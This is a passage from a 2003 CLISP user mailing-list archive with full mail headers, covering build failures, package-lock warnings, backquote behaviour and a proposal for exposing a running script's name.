clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Mon, 24 Mar 2003 08:43:05 -0600 Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 06:44:03 2003 X-Original-Date: 24 Mar 2003 09:44:08 -0500 > * In message > * On the subject of "Re: New, from-scratch implementation of backquote." > * Sent on Sun, 23 Mar 2003 22:58:24 -0800 (PST) > * Honorable Kaz Kylheku writes: > > I think it's wortwhile hacking on this to nail down the ,@,@ > behavior. indeed! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Perl: all stupidities of UNIX in one. From sds@gnu.org Mon Mar 24 06:49:32 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xTGW-0002OP-00 for ; Mon, 24 Mar 2003 06:49:32 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop016.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030324144925.JLZS8278.pop016.verizon.net@loiso.podval.org>; Mon, 24 Mar 2003 08:49:25 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2OEoXTx018397; Mon, 24 Mar 2003 09:50:33 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2OEoWfC018393; Mon, 24 Mar 2003 09:50:32 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: traverso@dm.unipi.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Unexpected behaviour when writing multi-line strings References: <200303240730.h2O7U4t20498@posso.dm.unipi.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200303240730.h2O7U4t20498@posso.dm.unipi.it> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.42.128] at Mon, 24 Mar 2003 08:49:25 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 06:50:15 2003 X-Original-Date: 24 Mar 2003 09:50:32 -0500 > * In message <200303240730.h2O7U4t20498@posso.dm.unipi.it> > * On the subject of "[clisp-list] Unexpected behaviour when writing multi-line strings" > * Sent on Mon, 24 Mar 2003 08:30:04 +0100 > * Honorable Carlo Traverso writes: > > It seems that when printing a string with an embedded newline, an > additional newline is printed before: -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Save your burned out bulbs for me, I'm building my own dark room. From sds@gnu.org Mon Mar 24 07:13:37 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xTdn-0001sy-00 for ; Mon, 24 Mar 2003 07:13:36 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030324151329.FIRX20945.out006.verizon.net@loiso.podval.org>; Mon, 24 Mar 2003 09:13:29 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2OFEaTx018460; Mon, 24 Mar 2003 10:14:36 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2OFEaa2018456; Mon, 24 Mar 2003 10:14:36 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Current CVS observations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.42.128] at Mon, 24 Mar 2003 09:13:29 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 07:50:02 2003 X-Original-Date: 24 Mar 2003 10:14:36 -0500 > * In message > * On the subject of "[clisp-list] Current CVS observations" > * Sent on Mon, 24 Mar 2003 13:20:20 +0000 > * Honorable Christophe Rhodes writes: > > 1. Building with --with-debug seemed to cause problems. The testsuite > hung, seemingly for ever, on (RATIONALIZE PI); investigating > further revealed something a bit weird going on: > > [1]> pi > 0.00282743338823081391L0 > [2]> (exp 1.0) > 5.0E-7 > [3]> (exp 1.0d0) > 2.718281828459045d0 I do not observe this: [1]> pi 3.1415926535897932385L0 [2]> (exp 1.0) 2.7182817 [3]> (RATIONALIZE PI) 8717442233/2774848045 > 2. Without --with-debug, the build is more successful, though the > testsuite target still fails. I then tried to build sbcl on it, > but it would appear that clisp detects assignments to internal > symbols in other packages, which happens a lot in sbcl's build: > > WARNING in (PROGN (DEF!MACRO !DEF-BOOLEAN-ATTRIBUTE # ...) (DEFUN GUTS-OF-!DEF-BOOLEAN-ATTRIBUTE-SETTER # ...) ...)-10-1-2 in lines 149..236 : > SETQ: assignment to the internal special symbol SB!IMPL::*DELAYED-DEF!MACROS* > > A full compile-time warning sets the FAILUREP return value from > COMPILE-FILE to T, which is interpreted by the build scripts as an > actual failure. Is there any way to lessen the impact of this > warning, either by weakening it to a STYLE-WARNING or by turning it > off altogether? this was a bug, fixed now: the warning should be signaled only when the (SYMBOL-PACKAGE var) is locked. please do cvs up and try again. if you still observe the numerical problem, please try to debug them. (run under gdb and see where RATIONALIZE hangs) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From csr21@cam.ac.uk Mon Mar 24 08:14:36 2003 Received: from brown.csi.cam.ac.uk ([131.111.8.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xUaK-0000Ay-00 for ; Mon, 24 Mar 2003 08:14:05 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by brown.csi.cam.ac.uk with esmtp (Exim 4.12) id 18xUZo-00065j-00 for clisp-list@lists.sourceforge.net; Mon, 24 Mar 2003 16:13:32 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18xUZo-000116-00 for ; Mon, 24 Mar 2003 16:13:32 +0000 To: CLISP Subject: Re: [clisp-list] Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "24 Mar 2003 10:14:36 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 08:15:14 2003 X-Original-Date: Mon, 24 Mar 2003 16:13:31 +0000 Sam Steingold writes: > this was a bug, fixed now: the warning should be signaled only when > the (SYMBOL-PACKAGE var) is locked. > > please do cvs up and try again. Thank you; that issue is now resolved... I still seem to get some similar messages when I do pretty-printing-intensive stuff, but I haven't chased it down yet. > if you still observe the numerical problem, please try to debug them. > (run under gdb and see where RATIONALIZE hangs) This time, when I tried building with --with-debug, the build seemed to hang while running interpreted.mem to compile the world... when I attached gdb to it, it seemed to be in the process of trying to print a backtrace(?) In any case, here is another problem in the non-debug image: [8]> (defmacro foo (&key (bar (error "foo"))) ()) FOO [9]> (foo) *** - foo ; as expected 1. Break [10]> [11]> (foo :bar 1) *** - foo ; not as expected A relatively common idiom I've seen is to do (defmacro deffoo (&key (frob (error "missing argument")) other-key)) to give a handy defining interface where some keywords are required... Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From yadin+@pitt.edu Mon Mar 24 10:06:24 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xWL1-0008UA-00 for ; Mon, 24 Mar 2003 10:06:24 -0800 Received: from GOLDSCHMIDT.phyast.pitt.edu ([136.142.111.76]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTWJMT0U1S0005PB@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Mon, 24 Mar 2003 13:06:19 EST From: "Yadin Y. Goldschmidt" Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries In-reply-to: Originator-info: login-id=yadin; server=imap.pitt.edu To: sds@gnu.org, Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Message-id: <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 10:07:07 2003 X-Original-Date: Mon, 24 Mar 2003 13:06:42 -0500 Hello, I successfully recompiled the patched cygwin libiconv library. It nows loads type.lisp without any changes (I did not apply the patch, should I?) but it gets stuck on compiler.lisp with some warning and then signal 11. Here is the output: ./lisp.exe -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ... ;; Loaded file defmacro.lisp ;; Loading file macros1.lisp ... ;; Loaded file macros1.lisp ;; Loading file macros2.lisp ... ;; Loaded file macros2.lisp ;; Loading file defs1.lisp ... ;; Loaded file defs1.lisp ;; Loading file places.lisp ... ;; Loaded file places.lisp ;; Loading file floatprint.lisp ... ;; Loaded file floatprint.lisp ;; Loading file type.lisp ... ;; Loaded file type.lisp ;; Loading file defstruct.lisp ... ;; Loaded file defstruct.lisp ;; Loading file format.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function " FORMAT #P"/cygdrive/c/temp/clisp/src/format.lisp" "top-level") ;; Loaded file format.lisp ;; Loading file international.lisp ... ;; Loaded file international.lisp ;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/room.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/room.lisp ;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/savemem.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/savemem.lisp ;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/trace.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/trace.lisp ;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/cmacros.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/cmacros.lisp ;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/compiler.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function " GLOBAL-IN-FENV-P #P"/cygdrive/c/temp/clisp/src/compiler.lisp" "top-level") (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" E VAL-WHEN-COMPILE #P"/cygdrive/c/temp/clisp/src/compiler.lisp" "top-level") Signa l 11 make: *** [interpreted.mem] Error 139 What next? Yadin. --On Saturday, March 22, 2003 10:39 AM -0500 Sam Steingold wrote:r >> * In message <249641874.20030322104057@inbox.ru> >> * On the subject of "Re[2]: [clisp-list] win32 cvs head binaries" >> * Sent on Sat, 22 Mar 2003 10:40:57 +1000 >> * Honorable Arseny Slobodjuck writes: >> >> Don't lose the time - I tried a number of ways and got no success - >> there is a bug in GC. Mingw build crashes after defmacro.lisp was >> loaded. > > Yes, but Yadin got past that! > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > Beauty is only a light > switch away. From sds@gnu.org Mon Mar 24 11:25:47 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xXZr-0000i0-00 for ; Mon, 24 Mar 2003 11:25:47 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030324192540.HLUZ14673.out005.verizon.net@loiso.podval.org>; Mon, 24 Mar 2003 13:25:40 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2OJQmTx021929; Mon, 24 Mar 2003 14:26:48 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2OJQlMY021925; Mon, 24 Mar 2003 14:26:47 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries References: <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.42.128] at Mon, 24 Mar 2003 13:25:40 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 11:26:17 2003 X-Original-Date: 24 Mar 2003 14:26:47 -0500 > * In message <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu> > * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries" > * Sent on Mon, 24 Mar 2003 13:06:42 -0500 > * Honorable "Yadin Y. Goldschmidt" writes: > > I successfully recompiled the patched cygwin libiconv library. It nows > loads type.lisp without any changes (I did not apply the patch, should > I?) it depends on whether you want to help us with the problem you had before. if you do want to help us, you need to __remove__ libiconv, apply the patch and try to build again. the task is __not__ to achieve a successful build (yet :-), but to, first, see what encodings are missing, and, then, later, with a _different_ patch, to make clisp load type.lisp without libiconv. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Whether pronounced "leenooks" or "line-uks", it's better than Windows. From pascal@informatimago.com Mon Mar 24 14:07:41 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xa6B-000187-00 for ; Mon, 24 Mar 2003 14:07:38 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id D5A0997A85; Mon, 24 Mar 2003 23:06:49 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030324220649.D5A0997A85@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] pname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 14:08:24 2003 X-Original-Date: Mon, 24 Mar 2003 23:06:49 +0100 (CET) Sorry if I sound like whinning, but I've got two difficuties with clisp used as a script interpreter: - first, obtaining the path of the "running" script is only possible using *LOAD-PATHNAME*, considering that the script is running whenever it's loading... The problem with this, is that it's impossible to obtain the script path from a file being loaded from the script. I was hopping to put something like: (DEFPACKAGE "COM.INFORMATIMAGO.CLISP.SCRIPT" (:NICKNAMES "PJB-SCRIPT" "SCRIPT") (:DOCUMENTATION "This package exports script functions.") (:USE "COMMON-LISP") (:EXPORT "PNAME" "IS-RUNNING" ;;... ))=20 (IN-PACKAGE "COM.INFORMATIMAGO.CLISP.SCRIPT") (DEFPARAMETER PNAME (FILE-NAMESTRING *LOAD-PATHNAME*)) ;; ... in a "pjb-script.lisp" file common to all my scripts, to be sub-loaded from my scripts. What's more, if I compile the library packages and the script and concatenate them into a stand-alone compiled .fas script, obviously then *LOAD-PATHNAME* will be the wanted path name, the problem being that one cannot use *LOAD-PATHNAME* to get the same result everytime. That is, the semantics of *LOAD-PATHNAME* is not what is needed here, and clearly access to the path of the running script is missing. Would it be possible to have a ext:*arg0* or ext:*pname* variable holding the path of the running script? - my second problem is that I can't find a way to know whether a script is running or not. That is, for debugging purpose, or other, I need to load the lisp code of a script into a running lisp, without running the script. =20 Well here, the first problem is that I have to edit the script because the '#!' on the first line is not accepted. I guess that I could add a reader macro there, but I think it would be nice if it was something implemented in clisp as a part of its scripting support. Then, I'm trying to implement a pjb-scritp:is-running predicate that would tell me whether the script is being loaded via (load "script") or whether it's being run via '#!/usr/bin/clisp' mechanism. It would be used as: (when (pjb-script:is-running) (main pjb-script:arguments)) How one could implement this is-running predicate? =20 It would be solved assuming that ext:*pname* is nil when the script is not running (not loading via the #! mechanism). --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From sds@gnu.org Mon Mar 24 16:53:38 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xch8-000486-00 for ; Mon, 24 Mar 2003 16:53:38 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out004.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030325005329.KAWK10550.out004.verizon.net@loiso.podval.org>; Mon, 24 Mar 2003 18:53:29 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2P0scTx022483; Mon, 24 Mar 2003 19:54:38 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2P0sXPT022479; Mon, 24 Mar 2003 19:54:33 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pname References: <20030324220649.D5A0997A85@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030324220649.D5A0997A85@thalassa.informatimago.com> Message-ID: Lines: 59 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.42.128] at Mon, 24 Mar 2003 18:53:29 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 16:54:04 2003 X-Original-Date: 24 Mar 2003 19:54:32 -0500 > * In message <20030324220649.D5A0997A85@thalassa.informatimago.com> > * On the subject of "[clisp-list] pname" > * Sent on Mon, 24 Mar 2003 23:06:49 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > (DEFPARAMETER PNAME (FILE-NAMESTRING *LOAD-PATHNAME*)) (DEFPARAMETER PNAME #.(FILE-NAMESTRING *LOAD-PATHNAME*)) > Well here, the first problem is that I have to edit the script > because the '#!' on the first line is not accepted. I guess that I > could add a reader macro there, but I think it would be nice if it > was something implemented in clisp as a part of its scripting > support. how do you think CLISP loads your scripts? it does this, in spvw.d: (SET-DISPATCH-MACRO-CHARACTER #\# #\! #'SYS::UNIX-EXECUTABLE-READER) > Then, I'm trying to implement a pjb-scritp:is-running predicate that > would tell me whether the script is being loaded via (load "script") > or whether it's being run via '#!/usr/bin/clisp' mechanism. It > would be used as: > > (when (pjb-script:is-running) (main pjb-script:arguments)) > > How one could implement this is-running predicate? e.g., (defun pjb-script:executable-reader (a b c) (sys::unix-executable-reader a b c)) (set-dispatch-macro-character #\# #\! #pjb-script:executable-reader) (load "my-script") (defun is-running () (eq (get-dispatch-macro-character #\# #\!) #'SYS::UNIX-EXECUTABLE-READER)) the simple way to avoid this stupid trickery is to have (defvar *running* t) in each script and load scripts with (defvar *running* nil) (defun load-script (fn) (let ((*running* nil)) (load fn))) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Your mouse has moved - WinNT has to be restarted for this to take effect. From pascal@informatimago.com Mon Mar 24 19:03:31 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xeiT-00048w-00 for ; Mon, 24 Mar 2003 19:03:13 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id A28FA24E2B; Tue, 25 Mar 2003 04:02:48 +0100 (CET) From: Pascal Bourguignon Message-ID: <15999.50904.630259.902128@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pname In-Reply-To: References: <20030324220649.D5A0997A85@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 19:04:06 2003 X-Original-Date: Tue, 25 Mar 2003 04:02:48 +0100 Sam Steingold writes: > > * In message <20030324220649.D5A0997A85@thalassa.informatimago.com> > > * On the subject of "[clisp-list] pname" > > * Sent on Mon, 24 Mar 2003 23:06:49 +0100 (CET) > > * Honorable Pascal Bourguignon writes: > > > > (DEFPARAMETER PNAME (FILE-NAMESTRING *LOAD-PATHNAME*)) >=20 > (DEFPARAMETER PNAME #.(FILE-NAMESTRING *LOAD-PATHNAME*)) This does not work no more. In both cases, when the file where these statements are placed is not the script file, but a file loaded from the loaded/run script, *LOAD-PATHNAME* contains the path to the file loaded from the loaded/run script, not the path to the script. > > Well here, the first problem is that I have to edit the script > > because the '#!' on the first line is not accepted. I guess that = I > > could add a reader macro there, but I think it would be nice if it > > was something implemented in clisp as a part of its scripting > > support. >=20 > how do you think CLISP loads your scripts? >=20 > it does this, in spvw.d: >=20 > (SET-DISPATCH-MACRO-CHARACTER #\# #\! > #'SYS::UNIX-EXECUTABLE-READER) Thank you for the pointer. (I'm affraid a lot going into the sources of clisp because of them being programmed IMHO in lower level than C (all these pushSTACK/popSTACK etc)). > > Then, I'm trying to implement a pjb-scritp:is-running predicate tha= t > > would tell me whether the script is being loaded via (load "script"= ) > > or whether it's being run via '#!/usr/bin/clisp' mechanism. I= t > > would be used as: > >=20 > > (when (pjb-script:is-running) (main pjb-script:arguments)) > >=20 > > How one could implement this is-running predicate? >=20 > e.g., > (defun pjb-script:executable-reader (a b c) > (sys::unix-executable-reader a b c)) >=20 > (set-dispatch-macro-character #\# #\! #pjb-script:executable-reader) >=20 > (load "my-script") >=20 > (defun is-running () > (eq (get-dispatch-macro-character #\# #\!) > #'SYS::UNIX-EXECUTABLE-READER)) >=20 > the simple way to avoid this stupid trickery I agree that it's quite a hack, but once hidden in a package, it would work. > is to have >=20 > (defvar *running* t) >=20 > in each script and load scripts with >=20 > (defvar *running* nil) > (defun load-script (fn) > (let ((*running* nil)) > (load fn))) I see a big problem with this solution (apart the smart usage of defvar), it's that it needs something to be done in each and all script sources. =20 So I would propose the following change in spvw.d: # execute: # (PROGN # #+UNIX (SET-DISPATCH-MACRO-CHARACTER #\# #\! # #'SYS::UNIX-EXECUTABLE-READER) # (SETQ *LOAD-VERBOSE* NIL) # (DEFPARAMETER *SCRIPT-IS-RUNNING* T) ;; new # (DEFPARAMETER *SCRIPT-NAME* argv_execute_file) ;; new # (DEFPARAMETER *ARGS* argv_execute_args) # (EXIT-ON-ERROR # (APPEASE-CERRORS # (LOAD argv_execute_file :EXTRA-FILE-TYPES ...))) # (EXIT) # ) With: (DEFPARAMETER *SCRIPT-IS-RUNNING* NIL=20 "Whether a script is being loaded and run by '#!'.") (DEFPARAMETER *SCRIPT-NAME* NIL "When non nil, it's a string containing the name of the script=20 being loaded and run (argv[0]).") somewhere in EXT package. This would offer a cleaner interface than the above propositions. EXT:*SCRIPT-IS-RUNNING* ;; we are in a script EXT:*SCRIPT-NAME* ;; argv[0] EXT:*ARGS* ;; ( argv[1] ... argv[argc-1] ) (Other names may be choosen). --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From ampy@inbox.ru Tue Mar 25 01:56:56 2003 Received: from mx3.mail.ru ([194.67.57.13]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xlAs-0002pY-00 for ; Tue, 25 Mar 2003 01:56:54 -0800 Received: from [212.16.216.88] 